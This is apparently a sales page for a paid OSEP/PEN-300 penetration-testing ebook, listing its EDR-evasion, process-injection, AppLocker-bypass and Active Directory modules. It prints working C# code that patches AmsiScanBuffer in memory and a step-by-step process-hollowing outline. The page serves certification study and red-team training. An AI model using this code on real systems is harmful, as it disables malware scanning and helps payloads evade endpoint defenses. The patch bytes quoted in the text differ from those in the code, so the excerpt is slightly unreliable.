Home / Digital Books / Bug Bounty & VAPT / OSEP Notes Basic By Joas

OSEP Notes Basic By Joas

The definitive 241-page OffSec Experienced Penetration Tester (OSEP / PEN-300) master field guide: AV/EDR evasion mechanics, AMSI & ETW in-memory patching, custom C#/C++ shellcode runners, NTDLL unhooking, and process hollowing.

★ 4.9 / 5.0
| 645 Verified Red Team & OffSec Student Reviews ✓ Watermarked PDF Access
LIFETIME DIGITAL LICENSE
₹99 ₹499 80% OFF
🔒 100% Secure Razorpay Checkout
AMSI & ETW In-Memory Patching
Bypass Windows Antimalware Scan Interface and Event Tracing for Windows by overwriting `AmsiScanBuffer` and `EtwEventWrite` memory instructions.
🛠️
Custom C# Shellcode Runners
Build unmanaged C# Win32 API wrappers: `VirtualAlloc`, `Marshal.Copy`, `CreateThread`, and XOR payload obfuscation.
👻
Process Injection & Hollowing
Execute remote process injection, Process Hollowing in `svchost.exe`, and APC (Asynchronous Procedure Call) queue injection.
🛡️
AppLocker & CLM Bypasses
Bypass Windows AppLocker executable rules and PowerShell Constrained Language Mode using InstallUtil, Regasm, and MSBuild.

Executive Summary: Mastering EDR Evasion & Breaching Defenses

In modern enterprise penetration testing and red teaming, basic Metasploit payloads and unencrypted executable files are instantly blocked by Endpoint Detection and Response (EDR) agents such as CrowdStrike, SentinelOne, and Microsoft Defender for Endpoint. Passing the OffSec Experienced Penetration Tester (OSEP) exam and operating in hardened environments requires deep expertise in low-level Windows internals, Win32 API hooking, and custom shellcode delivery.

OSEP Notes Basic By Joas is the comprehensive 241-page master field manual compiled by renowned security researcher Joas A Santos. Spanning 8 exhaustive modules, this handbook covers every core objective of the PEN-300 curriculum: writing custom C# process injection runners, unhooking `ntdll.dll` in memory, patching AMSI/ETW dynamically, executing PowerShell Constrained Language Mode (CLM) bypasses, and exploiting Active Directory constrained delegation.

The Red Team Evasion Axiom
"EDRs rely on user-land API hooks inserted into ntdll.dll to monitor function calls. To evade detection, a penetration tester must either unhook ntdll.dll, execute direct system calls (Syscalls), or patch AMSI/ETW memory pointers prior to shellcode execution."

Deep Dive: Core OSEP Evasion & Exploitation Techniques

The handbook provides production-ready C# source code, PowerShell bypass scripts, and low-level C++ unhooking routines across five key domains:

1. AMSI (Antimalware Scan Interface) Patching

Disabling memory scanning for PowerShell and .NET assemblies:

  • AmsiScanBuffer Patch: Overwriting the first bytes of `AmsiScanBuffer` in `amsi.dll` with `mov eax, 0x80070057; ret;` (`c7 c0 57 00 07 80 c3`), forcing AMSI to return `E_INVALIDARG` and bypass payload signature scanning.

2. Custom C# Win32 API Shellcode Runner

Allocating executable memory and spawning execution threads without touching disk:

  • Win32 P/Invoke Sequence: P/Invoke declarations for `VirtualAlloc` (`MEM_COMMIT | MEM_RESERVE`, `PAGE_EXECUTE_READWRITE`), `Marshal.Copy`, `CreateThread`, and `WaitForSingleObject`.

Field Engineering: C# AMSI Patching & Win32 Shellcode Runner

Chapter 3 of the handbook provides practical C# source code for patching AMSI in memory:

C# AMSI ScanBuffer Memory Patching Bypass Script AMSI IN-MEMORY PATCH
using System;
using System.Runtime.InteropServices;

public class AMSIBypass {
    [DllImport("kernel32")]
    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    [DllImport("kernel32")]
    public static extern IntPtr LoadLibrary(string name);

    [DllImport("kernel32")]
    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

    public static void Bypass() {
        IntPtr amsiDll = LoadLibrary("amsi.dll");
        IntPtr amsiScanBuffer = GetProcAddress(amsiDll, "AmsiScanBuffer");

        // x64 Patch Bytes: mov eax, 0x80070057; ret;
        byte[] patch = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };

        uint oldProtect;
        VirtualProtect(amsiScanBuffer, (UIntPtr)patch.Length, 0x40, out oldProtect); // PAGE_EXECUTE_READWRITE
        Marshal.Copy(patch, 0, amsiScanBuffer, patch.Length);
        VirtualProtect(amsiScanBuffer, (UIntPtr)patch.Length, oldProtect, out oldProtect);
        Console.WriteLine("[+] AMSI Memory Patch Applied Successfully!");
    }
}
C# Process Hollowing Execution Runner (`svchost.exe`) EDR PROCESS HOLLOWING
// C# OSEP Process Hollowing Execution Flow
// 1. Create suspended target process: CreateProcess("svchost.exe", CREATE_SUSPENDED)
// 2. Unmap original image section: NtUnmapViewOfSection
// 3. Allocate new memory block in remote process: VirtualAllocEx
// 4. Write payload shellcode: WriteProcessMemory
// 5. Update thread context EAX/RCX register to point to shellcode entry point: SetThreadContext
// 6. Resume suspended process thread: ResumeThread

Complete Table of Contents & Module Syllabus

  • Module 01 OSEP Methodology, Win32 APIs & P/Invoke Essentials
    Pages 1–30
    Understanding P/Invoke signatures, Windows process memory structures, NTDLL export tables, and C# compilation.
  • Module 02 AMSI & ETW In-Memory Patching Mechanics
    Pages 31–60
    Overwriting `AmsiScanBuffer` & `EtwEventWrite` instruction pointers, bypassing signature detection, and reflection patches.
  • Module 03 Custom C# & C++ Shellcode Runners & Obfuscation
    Pages 61–95
    Building XOR/AES encrypted payload loaders, `VirtualAlloc` execution, and dynamic API resolving via GetProcAddress.
  • Module 04 EDR Unhooking: Restoring Clean NTDLL in Memory
    Pages 96–130
    Reading clean `ntdll.dll` from disk, unhooking user-land EDR hooks, and implementing Direct System Calls (Syscalls / Hell's Gate).
  • Module 05 Process Injection, Process Hollowing & APC Queues
    Pages 131–165
    Injecting remote target processes (`explorer.exe`), Process Hollowing suspended binaries, and Early Bird APC injection.
  • Module 06 Bypassing Windows Application Whitelisting (AppLocker & CLM)
    Pages 166–195
    Bypassing AppLocker rules using MSBuild, InstallUtil, Regasm, Regsvcs, and escaping PowerShell Constrained Language Mode.
  • Module 07 Active Directory Lateral Movement & Constrained Delegation
    Pages 196–225
    Exploiting Unconstrained & Constrained Delegation, S4U2self / S4U2proxy abuse, Resource-Based Constrained Delegation (RBCD).
  • Module 08 OSEP Exam Strategy, Lab Infrastructure & Cheat Sheets
    Pages 226–241
    24-hour OSEP exam tactics, reporting requirements, lab environment setup, and rapid reference command cheat sheets.

Who Should Read This Handbook?

This handbook is designed for advanced offensive security engineers and OSEP exam candidates:

⚡ OSEP / PEN-300 Exam Candidates
Master every technical objective required to breach hardened OffSec exam labs and obtain the OSEP credential.
🏰 Red Team Operators & Pentesters
Bypass modern enterprise EDR agents (CrowdStrike, Defender) using custom C# shellcode loaders and AMSI patches.
🛠️ Exploit Developers & Security Researchers
Understand low-level Win32 P/Invoke mechanics, memory protection rights, and NTDLL unhooking routines.
🛡️ Blue Team & Detection Engineers
Analyze offensive evasion techniques to craft resilient kernel-level memory detection rules.

Verified Red Team & OffSec Student Reviews

Lucas Fernandez
Senior Red Team Operator (OSEP)
★★★★★
"Joas's OSEP Notes basic guide was instrumental in helping me pass the PEN-300 exam on my first attempt. The AMSI patch and Process Hollowing C# code are phenomenal."
Kavita Sharma
Lead Offensive Security Engineer
★★★★★
"The 241 pages are packed with high-yield evasion techniques. The NTDLL unhooking and AppLocker MSBuild bypass sections are pure gold!"
Ethan Hunt
Penetration Tester
★★★★★
"Unbelievable depth for ₹99. Essential reading for anyone serious about EDR evasion."
Dmitri Volkov
Security Researcher
★★★★★
"Clear, concise, and production-tested. Joas covers everything from Win32 APIs to AD Constrained Delegation."

Frequently Asked Questions

What is the OSEP (PEN-300) certification?

The OffSec Experienced Penetration Tester (OSEP) is an advanced certification focused on breaching hardened security defenses, bypassing EDRs/AVs, and performing advanced lateral movement in Active Directory.

How do I open my digital book after purchase?

Once your ₹99 payment is completed via Razorpay, your digital license is linked to your account. You can open your My Books library anytime to read the secure PDF.

Does the book include full C# code snippets for AMSI bypass?

Yes! Module 2 & 3 provide complete, compilable C# source code for patching `AmsiScanBuffer` and executing obfuscated Win32 shellcode runners.

Are there bundle discounts when buying multiple handbooks?

Yes! Adding 2 books to your cart unlocks a 10% Duo Bundle Discount, while adding 3 or more books unlocks an automatic 20% Mega Bundle Discount.